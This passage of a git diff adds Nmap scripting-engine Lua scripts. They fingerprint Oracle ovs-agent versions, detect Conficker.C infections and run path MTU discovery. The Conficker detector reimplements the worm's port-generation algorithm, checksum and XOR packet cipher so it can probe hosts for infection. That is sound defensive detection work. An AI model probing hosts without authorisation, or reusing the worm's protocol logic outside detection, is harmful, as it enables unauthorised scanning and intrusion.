+returns a response to <code>system.listMethods</code> that is different from
+that of both version 2.2 and 3.0. Therefore we use this strategy: (1.) Send a
+GET request. If the version 2.2 string is returned, return "2.2". (2.) Send a
+<code>system.listMethods</code> method call. If an error is
+returned, return "3.0" or "3.0.1", depending on the specific format of the
+error.
+]]
+
+categories = {"version"}
+
+---
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 8899/tcp open ssl/ovs-agent syn-ack Oracle Virtual Server Agent 3.0 (BaseHTTP 0.3; Python SimpleXMLRPCServer; Python 2.5.2)
+
+author = "David Fifield"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+
+portrule = shortport.version_port_or_service({8899})
+
+local function set_port_version(host, port, version, server)
+ port.version.name = "ovs-agent"
+ port.version.product = "Oracle Virtual Server Agent"
+ port.version.version = version
+ if server then
+ local basehttp, python = string.match(server, "^BaseHTTP/([%d.]+) Python/([%d.]+)")
+ if basehttp and python then
+ port.version.extrainfo = string.format("BaseHTTP %s; Python SimpleXMLRPCServer; Python %s", basehttp, python)
+ end
+ end
+ nmap.set_port_version(host, port)
+end
+
+function action(host, port)
+ local response
+ local version = {}
+
+ response = http.get(host, port, "/")
+ if response.status == 200 and string.match(response.body,
+ "<title>Python: OVSAgentServer Document</title>") then
+ set_port_version(host, port, "2.2", response.header["server"])
+ return
+ end
+
+ -- So much for version 2.2. If the response to GET was 501, then we may
+ -- have a version 3.0 or 3.0.1.
+ if not (response.status == 501) then
+ return
+ end
+
+ response = http.post(host, port, "/",
+ {header = {["Content-Type"] = "text/xml"}}, nil,
+ "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>")
+ if response.status == 403 and string.match(response.body,
+ "Message: Unauthorized HTTP Access Attempt from %('[%d.]+', %d+%)!%.") then
+ set_port_version(host, port, "3.0", response.header["server"])
+ return
+ elseif response.status == 403 and string.match(response.body,
+ "Message: Unauthorized access attempt from %('[%d.]+', %d+%)!%.") then
+ set_port_version(host, port, "3.0.1", response.header["server"])
+ return
+ end
+end
diff --git a/scripts/p2p-conficker.nse b/scripts/p2p-conficker.nse
new file mode 100644
index 0000000..4e45783
--- /dev/null
+++ b/scripts/p2p-conficker.nse
@@ -0,0 +1,651 @@
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks if a host is infected with Conficker.C or higher, based on
+Conficker's peer to peer communication.
+
+When Conficker.C or higher infects a system, it opens four ports: two TCP
+and two UDP. The ports are random, but are seeded with the current week and
+the IP of the infected host. By determining the algorithm, one can check if
+these four ports are open, and can probe them for more data.
+
+Once the open ports are found, communication can be initiated using
+Conficker's custom peer to peer protocol. If a valid response is received,
+then a valid Conficker infection has been found.
+
+This check won't work properly on a multihomed or NATed system because the
+open ports will be based on a nonpublic IP. The argument
+<code>checkall</code> tells Nmap to attempt communication with every open
+port (much like a version check) and the argument <code>realip</code> tells
+Nmap to base its port generation on the given IP address instead of the
+actual IP.
+
+By default, this will run against a system that has a standard Windows port
+open (445, 139, 137). The arguments <code>checkall</code> and
+<code>checkconficker</code> will both perform checks regardless of which
+port is open, see the args section for more information.
+
+Note: Ensure your clock is correct (within a week) before using this script!
+
+The majority of research for this script was done by Symantec Security
+Response, and some was taken from public sources (most notably the port
+blacklisting was found by David Fifield). A big thanks goes out to everybody
+who contributed!
+]]
+
+---
+-- @args checkall If set to <code>1</code> or <code>true</code>, attempt
+-- to communicate with every open port.
+-- @args checkconficker If set to <code>1</code> or <code>true</code>, the script will always run on active hosts,
+-- it doesn't matter if any open ports were detected.
+-- @args realip An IP address to use in place of the one known by Nmap.
+--
+-- @usage
+-- # Run the scripts against host(s) that appear to be Windows
+-- nmap --script p2p-conficker,smb-os-discovery,smb-check-vulns --script-args=safe=1 -T4 -vv -p445 <host>
+-- sudo nmap -sU -sS --script p2p-conficker,smb-os-discovery,smb-check-vulns --script-args=safe=1 -vv -T4 -p U:137,T:139 <host>
+--
+-- # Run the scripts against all active hosts (recommended)
+-- nmap -p139,445 -vv --script p2p-conficker,smb-os-discovery,smb-check-vulns --script-args=checkconficker=1,safe=1 -T4 <host>
+--
+-- # Run scripts against all 65535 ports (slow)
+-- nmap --script p2p-conficker,smb-os-discovery,smb-check-vulns -p- --script-args=checkall=1,safe=1 -vv -T4 <host>
+--
+-- # Base checks on a different ip address (NATed)
+-- nmap --script p2p-conficker,smb-os-discovery -p445 --script-args=realip=\"192.168.1.65\" -vv -T4 <host>
+--
+-- @output
+-- Clean machine (results printed only if extra verbosity ("-vv")is specified):
+-- Host script results:
+-- | p2p-conficker: Checking for Conficker.C or higher...
+-- | Check 1 (port 44329/tcp): CLEAN (Couldn't connect)
+-- | Check 2 (port 33824/tcp): CLEAN (Couldn't connect)
+-- | Check 3 (port 31380/udp): CLEAN (Failed to receive data)
+-- | Check 4 (port 52600/udp): CLEAN (Failed to receive data)
+-- |_ 0/4 checks: Host is CLEAN or ports are blocked
+--
+-- Infected machine (results always printed):
+-- Host script results:
+-- | p2p-conficker: Checking for Conficker.C or higher...
+-- | Check 1 (port 18707/tcp): INFECTED (Received valid data)
+-- | Check 2 (port 65273/tcp): INFECTED (Received valid data)
+-- | Check 3 (port 11722/udp): INFECTED (Received valid data)
+-- | Check 4 (port 12690/udp): INFECTED (Received valid data)
+-- |_ 4/4 checks: Host is likely INFECTED
+--
+-----------------------------------------------------------------------
+
+author = "Ron Bowes (with research from Symantec Security Response)"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default","safe"}
+
+
+-- Max packet size
+local MAX_PACKET = 0x2000
+
+-- Flags
+local mode_flags =
+{
+ FLAG_MODE = 1 << 0,
+ FLAG_LOCAL_ACK = 1 << 1,
+ FLAG_IS_TCP = 1 << 2,
+ FLAG_IP_INCLUDED = 1 << 3,
+ FLAG_UNKNOWN0_INCLUDED = 1 << 4,
+ FLAG_UNKNOWN1_INCLUDED = 1 << 5,
+ FLAG_DATA_INCLUDED = 1 << 6,
+ FLAG_SYSINFO_INCLUDED = 1 << 7,
+ FLAG_ENCODED = 1 << 15,
+}
+
+---For a hostrule, simply use the 'smb' ports as an indicator, unless the user overrides it
+hostrule = function(host)
+ if ( nmap.address_family() ~= 'inet' ) then
+ return false
+ end
+ if(smb.get_port(host) ~= nil) then
+ return true
+ elseif(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
+ return true
+ elseif(nmap.registry.args.checkconficker == "true" or nmap.registry.args.checkconficker == "1") then
+ return true
+ end
+
+ return false
+end
+
+-- Multiply two 32-bit integers and return a 64-bit product. The first return
+-- value is the low-order 32 bits of the product and the second return value is
+-- the high-order 32 bits.
+--
+--@param u First number (0 <= u <= 0xFFFFFFFF)
+--@param v Second number (0 <= v <= 0xFFFFFFFF)
+--@return 64-bit product of u*v, as a pair of 32-bit integers.
+local function mul64(u, v)
+ -- This is based on formula (2) from section 4.3.3 of The Art of
+ -- Computer Programming. We split u and v into upper and lower 16-bit
+ -- chunks, such that
+ -- u = 2**16 u1 + u0 and v = 2**16 v1 + v0
+ -- Then
+ -- u v = (2**16 u1 + u0) * (2**16 v1 + v0)
+ -- = 2**32 u1 v1 + 2**16 (u0 v1 + u1 v0) + u0 v0
+ assert(0 <= u and u <= 0xFFFFFFFF)
+ assert(0 <= v and v <= 0xFFFFFFFF)
+ local u0, u1 = (u & 0xFFFF), (u >> 16)
+ local v0, v1 = (v & 0xFFFF), (v >> 16)
+ -- t uses at most 49 bits, which is within the range of exact integer
+ -- precision of a Lua number.
+ local t = u0 * v0 + (u0 * v1 + u1 * v0) * 65536
+ return (t & 0xFFFFFFFF), u1 * v1 + (t >> 32)
+end
+
+---Rotates the 64-bit integer defined by h:l left by one bit.
+--
+--@param h The high-order 32 bits
+--@param l The low-order 32 bits
+--@return 64-bit rotated integer, as a pair of 32-bit integers.
+local function rot64(h, l)
+ local i
+
+ assert(0 <= h and h <= 0xFFFFFFFF)
+ assert(0 <= l and l <= 0xFFFFFFFF)
+
+ local tmp = h & 0x80000000
+ h = h << 1
+ h = h | (l >> 31)
+ l = l << 1
+ if tmp ~= 0 then
+ l = l | 1
+ end
+
+ h = h & 0xFFFFFFFF
+ l = l & 0xFFFFFFFF
+
+ return h, l
+end
+
+
+---Check if a port is Blacklisted. Thanks to David Fifield for determining the purpose of the "magic"
+-- array:
+-- <http://www.bamsoftware.com/wiki/Nmap/PortSetGraphics#conficker>
+--
+-- Basically, each bit in the blacklist array represents a group of 32 ports. If that bit is on, those ports
+-- are blacklisted and will never come up.
+--
+--@param port The port to check
+--@return true if the port is blacklisted, false otherwise
+local function is_blacklisted_port(port)
+ local r, l
+
+ local blacklist = { 0xFFFFFFFF, 0xFFFFFFFF, 0xF0F6BFBB, 0xBB5A5FF3,
+ 0xF3977011, 0xEB67BFBF, 0x5F9BFAC8, 0x34D88091, 0x1E2282DF, 0x573402C4,
+ 0xC0000084, 0x03000209, 0x01600002, 0x00005000, 0x801000C0, 0x00500040,
+ 0x000000A1, 0x01000000, 0x01000000, 0x00022A20, 0x00000080, 0x04000000,
+ 0x40020000, 0x88000000, 0x00000180, 0x00081000, 0x08801900, 0x00800B81,
+ 0x00000280, 0x080002C0, 0x00A80000, 0x00008000, 0x00100040, 0x00100000,
+ 0x00000000, 0x00000000, 0x10000008, 0x00000000, 0x00000000, 0x00000004,
+ 0x00000002, 0x00000000, 0x00040000, 0x00000000, 0x00000000, 0x00000000,
+ 0x00410000, 0x82000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000,
+ 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
+ 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x80000000,
+ }
+
+ r = port >> 5
+ l = 1 << (r & 0x1f)
+ r = r >> 5
+
+ return blacklist[r + 1] & l ~= 0
+end
+
+---Generates the four random ports that Conficker uses, based on the current time and the IP address.
+--
+--@param ip The IP address as a 32-bit little endian integer
+--@param seed The seed, based on the time (<code>floor((time - 345600) / 604800)</code>)
+--@return An array of four ports; the first and third are TCP, and the second and fourth are UDP.
+local function prng_generate_ports(ip, seed)
+ local ports = {0, 0, 0, 0}
+ local v1, v2
+ local port1, port2, shift1, shift2
+ local i
+ local magic = 0x015A4E35
+
+ stdnse.debug1("Conficker: Generating ports based on ip (0x%08x) and seed (%d)", ip, seed)
+
+ v1 = -(ip + 1)
+ repeat
+ -- Loop 10 times to generate the first pair of ports
+ for i = 0, 9, 1 do
+ v1, v2 = mul64(v1 & 0xFFFFFFFF, magic & 0xFFFFFFFF)
+
+ -- Add 1 to v1, handling overflows
+ if(v1 ~= 0xFFFFFFFF) then
+ v1 = v1 + 1
+ else
+ v1 = 0
+ v2 = v2 + 1
+ end
+
+ v2 = v2 >> i
+
+ ports[(i % 2) + 1] = (v2 & 0xFFFF) ~ ports[(i % 2) + 1]
+ end
+ until(is_blacklisted_port(ports[1]) == false and is_blacklisted_port(ports[2]) == false and ports[1] ~= ports[2])
+
+ -- Update the accumulator with the seed
+ v1 = v1 ~ seed
+
+ -- Loop 10 more times to generate the second pair of ports
+ repeat
+ for i = 0, 9, 1 do
+ v1, v2 = mul64(v1 & 0xFFFFFFFF, magic & 0xFFFFFFFF)
+
+ -- Add 1 to v1, handling overflows
+ if(v1 ~= 0xFFFFFFFF) then
+ v1 = v1 + 1
+ else
+ v1 = 0
+ v2 = v2 + 1
+ end
+
+ v2 = v2 >> i
+
+ ports[(i % 2) + 3] = (v2 & 0xFFFF) ~ ports[(i % 2) + 3]
+ end
+ until(is_blacklisted_port(ports[3]) == false and is_blacklisted_port(ports[4]) == false and ports[3] ~= ports[4])
+
+ return {ports[1], ports[2], ports[3], ports[4]}
+end
+
+---Calculate a checksum for the data. This checksum is appended to every Conficker packet before the random noise.
+-- The checksum includes the key and data, but not the noise and optional length.
+--
+--@param data The data to create a checksum for.
+--@return An integer representing the checksum.
+local function p2p_checksum(data)
+ local hash = #data
+
+ stdnse.debug2("Conficker: Calculating checksum for %d-byte buffer", #data)
+
+ data:gsub(".", function(i)
+ local h = hash ~ string.byte(i)
+ -- Incorporate the current character into the checksum
+ hash = (h + h) | (h >> 31)
+ hash = hash & 0xFFFFFFFF
+ end
+ )
+
+ return hash
+end
+
+---Encrypt/decrypt the buffer with a simple xor-based symmetric encryption. It uses a 64-bit key, represented
+-- by key1:key2, that is transmitted in plain text. Since sniffed packets can be decrypted, this is a
+-- simple obfuscation technique.
+--
+--@param packet The packet to encrypt (before the key and optional length are prepended).
+--@param key1 The low-order 32 bits in the key.
+--@param key2 The high-order 32 bits in the key.
+--@return The encrypted (or decrypted) data.
+local function p2p_cipher(packet, key1, key2)
+ local i
+ local buf = {}
+
+ for i = 1, #packet, 1 do
+ -- Do a 64-bit rotate on key1:key2
+ key2, key1 = rot64(key2, key1)
+
+ -- Generate the key (the right-most byte)
+ local k = key1 & 0x0FF
+
+ -- Xor the current character and add it to the encrypted buffer
+ buf[i] = string.char(string.byte(packet, i) ~ k)
+
+ -- Update the key with 'k'
+ key1 = key1 + k
+ if(key1 > 0xFFFFFFFF) then
+ -- Handle overflows
+ key2 = key2 + (key1 >> 32)
+ key2 = key2 & 0xFFFFFFFF
+ key1 = key1 & 0xFFFFFFFF
+ end
+ end
+
+ return table.concat(buf)
+end
+
+---Decrypt the packet, verify it, and parse it. This function will fail with an error if the packet can't be
+-- parsed properly (likely means the port is being used for something else), but will return successfully
+-- without checking the packet's checksum (although it does calculate the checksum). It's up to the calling
+-- function to decide if it cares about the checksum.
+--
+--@param packet The packet, without the optional length (if it's TCP).
+--@return (status, result) If status is true, result is a table (including 'hash' and 'real_hash'). If status
+-- is false, result is a string that indicates why the parse failed.
+function p2p_parse(packet)
+ local pos = 1
+ local data = {}
+
+ -- Get the key
+ if #packet < 8 then
+ return false, "Packet was too short [1]"
+ end
+ data['key1'], data['key2'], pos = string.unpack("<I4 I4", packet, pos)
+
+ -- Decrypt the second half of the packet using the key
+ packet = string.sub(packet, 1, pos - 1) .. p2p_cipher(string.sub(packet, pos), data['key1'], data['key2'])
+
+ -- Parse the flags
+ if #packet - pos + 1 < 2 then
+ return false, "Packet was too short [2]"
+ end
+ data['flags'], pos = string.unpack("<I2", packet, pos)
+
+ -- Get the IP, if it's present
+ if(data['flags'] & mode_flags.FLAG_IP_INCLUDED) ~= 0 then
+ if #packet - pos + 1 < 6 then
+ return false, "Packet was too short [3]"
+ end
+ data['ip'], data['port'], pos = string.unpack("<I4 I2", packet, pos)
+ end
+
+ -- Read the first unknown value, if present
+ if(data['flags'] & mode_flags.FLAG_UNKNOWN0_INCLUDED) ~= 0 then
+ if #packet - pos + 1 < 4 then
+ return false, "Packet was too short [3]"
+ end
+ data['unknown0'], pos = string.unpack("<I4", packet, pos)
+ end
+
+ -- Read the second unknown value, if present
+ if(data['flags'] & mode_flags.FLAG_UNKNOWN1_INCLUDED) ~= 0 then
+ if #packet - pos + 1 < 4 then
+ return false, "Packet was too short [4]"
+ end
+ data['unknown1'], pos = string.unpack("<I4", packet, pos)
+ end
+
+ -- Read the data, if present
+ if(data['flags'] & mode_flags.FLAG_DATA_INCLUDED) ~= 0 then
+ if #packet - pos + 1 < 3 then
+ return false, "Packet was too short [5]"
+ end
+ data['data_flags'], data['data_length'], pos = string.unpack("<B I2", packet, pos)
+ if #packet - pos + 1 < data.data_length then
+ return false, "Packet was too short [6]"
+ end
+ data['data'], pos = string.unpack(("c%d"):format(data['data_length']), packet, pos)
+ end
+
+ -- Read the sysinfo, if present
+ if(data['flags'] & mode_flags.FLAG_SYSINFO_INCLUDED) ~= 0 then
+ local sysinfo_format = "<I2 BBI2 BB I2 I4 I2I2I4I2I2"
+ if #packet - pos + 1 < string.packsize(sysinfo_format) then
+ return false, "Packet was too short [7]"
+ end
+
+ data['sysinfo_systemtestflags'],
+ data['sysinfo_os_major'],
+ data['sysinfo_os_minor'],
+ data['sysinfo_os_build'],
+ data['sysinfo_os_servicepack_major'],
+ data['sysinfo_os_servicepack_minor'],
+ data['sysinfo_ntdll_translation_file_information'],
+ data['sysinfo_prng_sample'],
+ data['sysinfo_unknown0'],
+ data['sysinfo_unknown1'],
+ data['sysinfo_unknown2'],
+ data['sysinfo_unknown3'],
+ data['sysinfo_unknown4'], pos = string.unpack(sysinfo_format, packet, pos)
+ end
+
+ -- Pull out the data that's used in the hash
+ data['hash_data'] = string.sub(packet, 1, pos - 1)
+
+ -- Read the hash
+ if #packet - pos + 1 < 4 then
+ return false, "Packet was too short [8]"
+ end
+ data['hash'], pos = string.unpack("<I4", packet, pos)
+
+ -- Record the noise
+ data['noise'] = string.sub(packet, pos)
+
+ -- Generate the actual hash (we're going to ignore it for now, but it can be checked higher up)
+ data['real_hash'] = p2p_checksum(data['hash_data'])
+
+ return true, data
+end
+
+---Create a peer to peer packet for the given protocol.
+--
+--@param protocol The protocol (either 'tcp' or 'udp' -- tcp packets have a length in front, and an extra
+-- flag)
+--@param do_encryption (optional) If set to false, packets aren't encrypted (the key '0' is used). Useful
+-- for testing. Default: true.
+local function p2p_create_packet(protocol, do_encryption)
+ assert(protocol == "tcp" or protocol == "udp")
+
+ local key1 = math.random(1, 0x7FFFFFFF)
+ local key2 = math.random(1, 0x7FFFFFFF)
+
+ -- A key of 0 disables the encryption
+ if(do_encryption == false) then
+ key1 = 0
+ key2 = 0
+ end
+
+ local flags = 0
+
+ -- Set a couple flags that we need (we don't send any optional data)
+ flags = flags | mode_flags.FLAG_MODE
+ flags = flags | mode_flags.FLAG_ENCODED
+ -- flags = flags | mode_flags.FLAG_LOCAL_ACK)
+ -- Set the special TCP flag
+ if(protocol == "tcp") then
+ flags = flags | mode_flags.FLAG_IS_TCP
+ end
+
+ -- Add the key and flags that are always present (and skip over the boring stuff)
+ local packet = string.pack("<I4 I4 I2", key1, key2, flags)
+
+ -- Generate the checksum for the packet
+ local hash = p2p_checksum(packet)
+ packet = packet .. string.pack("<I4", hash)
+
+ -- Encrypt the full packet, except for the key and optional length
+ packet = string.sub(packet, 1, 8) .. p2p_cipher(string.sub(packet, 9), key1, key2)
+
+ -- Add the length in front if it's TCP
+ if(protocol == "tcp") then
+ packet = string.pack("<s2", packet)
+ end
+
+ return true, packet
+end
+
+---Checks if conficker is present on the given port/protocol. The ports Conficker uses are fairly standard, so
+-- those should generally be used for this check. This can also be sent to any open port on the system.
+--
+--@param ip The ip address of the system to check
+--@param port The port to check (can be taken from <code>prng_generate_ports</code>, or from unidentified ports)
+--@return (status, reason, data) Status indicates whether or not Conficker is suspected to be present (<code>true</code) =
+-- Conficker, <code>false</code> = no Conficker). If status is true, data is the table of information returned by
+-- Conficker.
+local function conficker_check(ip, port, protocol)
+ local status, packet
+ local socket
+ local response
+
+ status, packet = p2p_create_packet(protocol)
+ if(status == false) then
+ return false, packet
+ end
+
+ -- Try to connect to the first socket
+ socket = nmap.new_socket()
+ socket:set_timeout(5000)
+ status, response = socket:connect(ip, port, protocol)
+ if(status == false) then
+ return false, "Couldn't establish connection (" .. response .. ")"
+ end
+
+ -- Send the packet
+ socket:send(packet)
+
+ -- Read a response (2 bytes minimum, because that's the TCP length)
+ status, response = socket:receive_bytes(2)
+ if(status == false) then
+ return false, "Couldn't receive bytes: " .. response
+ elseif(response == "ERROR") then
+ return false, "Failed to receive data"
+ elseif(response == "TIMEOUT") then
+ return false, "Timeout"
+ elseif(response == "EOF") then
+ return false, "Couldn't connect"
+ elseif #response < 2 then
+ return false, "Data too short"
+ end
+
+ -- If it's TCP, get the length and make sure we have the full packet
+ if(protocol == "tcp") then
+ local length = string.unpack("<I2", response)
+
+ -- Only try for 2 timeouts to get the whole packet
+ local tries = 2
+ while length > (#response - 2) and tries > 0 do
+ tries = tries - 1
+
+ local status, response2 = socket:receive_bytes(length - (#response - 2))
+ if(status == false) then
+ return false, "Couldn't receive bytes: " .. response2
+ elseif(response2 == "ERROR") then
+ return false, "Failed to receive data"
+ elseif(response2 == "TIMEOUT") then
+ return false, "Timeout"
+ elseif(response2 == "EOF") then
+ return false, "Couldn't connect"
+ end
+
+ response = response .. response2
+ end
+
+ -- Remove the 'length' bytes
+ response = string.sub(response, 3)
+ end
+
+ -- Close the socket
+ socket:close()
+
+ local status, result = p2p_parse(response)
+
+ if(status == false) then
+ return false, "Data received, but wasn't Conficker data: " .. result
+ end
+
+ if(result['hash'] ~= result['real_hash']) then
+ return false, "Data received, but checksum was invalid (possibly INFECTED)"
+ end
+
+ return true, "Received valid data", result
+end
+
+action = function(host)
+ local tcp_ports = {}
+ local udp_ports = {}
+ local response = {}
+ local i
+ local port, protocol
+ local count = 0
+ local checks = 0
+
+ -- Generate a complete list of valid ports
+ if(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
+ for i = 1, 65535, 1 do
+ if(not(is_blacklisted_port(i))) then
+ local tcp = nmap.get_port_state(host, {number=i, protocol="tcp"})
+ if(tcp ~= nil and tcp.state == "open") then
+ tcp_ports[i] = true
+ end
+
+ local udp = nmap.get_port_state(host, {number=i, protocol="udp"})
+ if(udp ~= nil and (udp.state == "open" or udp.state == "open|filtered")) then
+ udp_ports[i] = true
+ end
+ end
+ end
+ end
+
+
+ -- Generate ports based on the ip and time
+ local seed = math.floor((os.time() - 345600) / 604800)
+ local ip = host.ip
+
+ -- Use the provided IP, if it exists
+ if(nmap.registry.args.realip ~= nil) then
+ ip = nmap.registry.args.realip
+ end
+
+ -- Reverse the IP's endianness
+ ip = ipOps.todword(ip)
+ ip = string.pack(">I4", ip)
+ ip = string.unpack("<I4", ip)
+
+ -- Generate the ports
+ local generated_ports = prng_generate_ports(ip, seed)
+ tcp_ports[generated_ports[1]] = true
+ tcp_ports[generated_ports[3]] = true
+ udp_ports[generated_ports[2]] = true
+ udp_ports[generated_ports[4]] = true
+
+ table.insert(response, "Checking for Conficker.C or higher...")
+
+ -- Check the TCP ports
+ for port in pairs(tcp_ports) do
+ local status, reason
+
+ status, reason = conficker_check(host.ip, port, "tcp")
+ checks = checks + 1
+
+ if(status == true) then
+ table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
+ count = count + 1
+ else
+ table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
+ end
+ end
+
+ -- Check the UDP ports
+ for port in pairs(udp_ports) do
+ local status, reason
+
+ status, reason = conficker_check(host.ip, port, "udp")
+ checks = checks + 1
+
+ if(status == true) then
+ table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
+ count = count + 1
+ else
+ table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
+ end
+ end
+
+ -- Check how many INFECTED hits we got
+ if(count == 0) then
+ if (nmap.verbosity() > 1) then
+ table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
+ else
+ response = ''
+ end
+ else
+ table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
+ end
+
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/path-mtu.nse b/scripts/path-mtu.nse
new file mode 100644
index 0000000..6dc441c
--- /dev/null
+++ b/scripts/path-mtu.nse
@@ -0,0 +1,399 @@
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Performs simple Path MTU Discovery to target hosts.
+
+TCP or UDP packets are sent to the host with the DF (don't fragment) bit set
+and with varying amounts of data. If an ICMP Fragmentation Needed is received,
+or no reply is received after retransmissions, the amount of data is lowered
+and another packet is sent. This continues until (assuming no errors occur) a
+reply from the final host is received, indicating the packet reached the host
+without being fragmented.
+
+Not all MTUs are attempted so as to not expend too much time or network
+resources. Currently the relatively short list of MTUs to try contains
+the plateau values from Table 7-1 in RFC 1191, "Path MTU Discovery".
+Using these values significantly cuts down the MTU search space. On top
+of that, this list is rarely traversed in whole because:
+* the MTU of the outgoing interface is used as a starting point, and
+* we can jump down the list when an intermediate router sending a "can't fragment" message includes its next hop MTU (as described in RFC 1191 and required by RFC 1812)
+]]
+
+---
+-- @usage
+-- nmap --script path-mtu target
+--
+-- @output
+-- Host script results:
+-- |_path-mtu: 1492 <= PMTU < 1500
+--
+-- Host script results:
+-- |_path-mtu: PMTU == 1006
+
+author = "Kris Katterjohn"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+local IPPROTO_ICMP = packet.IPPROTO_ICMP
+local IPPROTO_TCP = packet.IPPROTO_TCP
+local IPPROTO_UDP = packet.IPPROTO_UDP
+
+-- Number of times to retransmit for no reply before dropping to
+-- another MTU value
+local RETRIES = 1
+
+-- RFC 1191, Table 7-1: Plateaus. Even the massive MTU values are
+-- here since we skip down the list based on the outgoing interface
+-- so its no harm.
+local MTUS = {
+ 65535,
+ 32000,
+ 17914,
+ 8166,
+ 4352,
+ 2002,
+ 1492,
+ 1006,
+ 508,
+ 296,
+ 68
+}
+
+-- Find the index in MTUS{} to use based on the MTU +new+. If +new+ is in
+-- between values in MTUS, then insert it into the table appropriately.
+local searchmtu = function(cidx, new)
+ if new == 0 then
+ return cidx
+ end
+
+ while cidx <= #MTUS do
+ if new >= MTUS[cidx] then
+ if new ~= MTUS[cidx] then
+ table.insert(MTUS, cidx, new)
+ end
+ return cidx
+ end
+ cidx = cidx + 1
+ end
+ return cidx
+end
+
+local dport = function(ip)
+ if ip.ip_p == IPPROTO_TCP then
+ return ip.tcp_dport
+ elseif ip.ip_p == IPPROTO_UDP then
+ return ip.udp_dport
+ end
+end
+
+local sport = function(ip)
+ if ip.ip_p == IPPROTO_TCP then
+ return ip.tcp_sport
+ elseif ip.ip_p == IPPROTO_UDP then
+ return ip.udp_sport
+ end
+end
+
+-- Checks how we should react to this packet
+local checkpkt = function(reply, orig)
+ local ip = packet.Packet:new(reply, reply:len())
+
+ if ip.ip_p == IPPROTO_ICMP then
+ if ip.icmp_type ~= 3 then
+ return "recap"
+ end
+ -- Port Unreachable
+ if ip.icmp_code == 3 then
+ local is = ip.buf:sub(ip.icmp_offset + 9)
+ local ip2 = packet.Packet:new(is, is:len())
+
+ -- Check sent packet against ICMP payload
+ if ip2.ip_p ~= IPPROTO_UDP or
+ ip2.ip_p ~= orig.ip_p or
+ ip2.ip_bin_src ~= orig.ip_bin_src or
+ ip2.ip_bin_dst ~= orig.ip_bin_dst or
+ sport(ip2) ~= sport(orig) or
+ dport(ip2) ~= dport(orig) then
+ return "recap"
+ end
+
+ return "gotreply"
+ end
+ -- Frag needed, DF set
+ if ip.icmp_code == 4 then
+ local val = ip:u16(ip.icmp_offset + 6)
+ return "nextmtu", val
+ end
+ return "recap"
+ end
+
+ if ip.ip_p ~= orig.ip_p or
+ ip.ip_bin_src ~= orig.ip_bin_dst or
+ ip.ip_bin_dst ~= orig.ip_bin_src or
+ dport(ip) ~= sport(orig) or
+ sport(ip) ~= dport(orig) then
+ return "recap"
+ end
+
+ return "gotreply"
+end
+
+-- This is all we can use since we can get various protocols back from
+-- different hosts
+local check = function(layer3)
+ local ip = packet.Packet:new(layer3, layer3:len())
+ return ip.ip_bin_dst
+end
+
+-- Updates a packet's info and calculates checksum
+local updatepkt = function(ip)
+ if ip.ip_p == IPPROTO_TCP then
+ ip:tcp_set_sport(math.random(0x401, 0xffff))
+ ip:tcp_set_seq(math.random(1, 0x7fffffff))
+ ip:tcp_count_checksum()
+ elseif ip.ip_p == IPPROTO_UDP then
+ ip:udp_set_sport(math.random(0x401, 0xffff))
+ ip:udp_set_length(ip.ip_len - ip.ip_hl * 4)
+ ip:udp_count_checksum()
+ end
+ ip:ip_count_checksum()
+end
+
+-- Set up packet header and data to satisfy a certain MTU
+local setmtu = function(pkt, mtu)
+ if pkt.ip_len < mtu then
+ pkt.buf = pkt.buf .. string.rep("\0", mtu - pkt.ip_len)
+ else
+ pkt.buf = pkt.buf:sub(1, mtu)
+ end
+
+ pkt:ip_set_len(mtu)
+ pkt.packet_length = mtu
+ updatepkt(pkt)
+end
+
+local basepkt = function(proto)
+ local ibin = stdnse.fromhex(
+ "4500 0014 0000 4000 8000 0000 0000 0000 0000 0000"
+ )
+ local tbin = stdnse.fromhex(
+ "0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4"
+ )
+ local ubin = stdnse.fromhex(
+ "0000 0000 0800 0000"
+ )
+
+ if proto == IPPROTO_TCP then
+ return ibin .. tbin
+ elseif proto == IPPROTO_UDP then
+ return ibin .. ubin
+ end
+end
+
+-- Creates a Packet object for the given proto and port
+local genericpkt = function(host, proto, port)
+ local pkt = basepkt(proto)
+ local ip = packet.Packet:new(pkt, pkt:len())
+
+ ip:ip_set_bin_src(host.bin_ip_src)
+ ip:ip_set_bin_dst(host.bin_ip)
+
+ ip:set_u8(ip.ip_offset + 9, proto)
+ ip.ip_p = proto
+
+ ip:ip_set_len(pkt:len())
+
+ if proto == IPPROTO_TCP then
+ ip:tcp_parse(false)
+ ip:tcp_set_dport(port)
+ elseif proto == IPPROTO_UDP then
+ ip:udp_parse(false)
+ ip:udp_set_dport(port)
+ end
+
+ updatepkt(ip)
+
+ return ip
+end
+
+local ipproto = function(p)
+ if p == "tcp" then
+ return IPPROTO_TCP
+ elseif p == "udp" then
+ return IPPROTO_UDP
+ end
+ return -1
+end
+
+-- Determines how to probe
+local getprobe = function(host)
+ local combos = {
+ { "tcp", "open" },
+ { "tcp", "closed" },
+ -- udp/open probably only happens when Nmap sends proper
+ -- payloads, which doesn't happen in here
+ { "udp", "closed" }
+ }
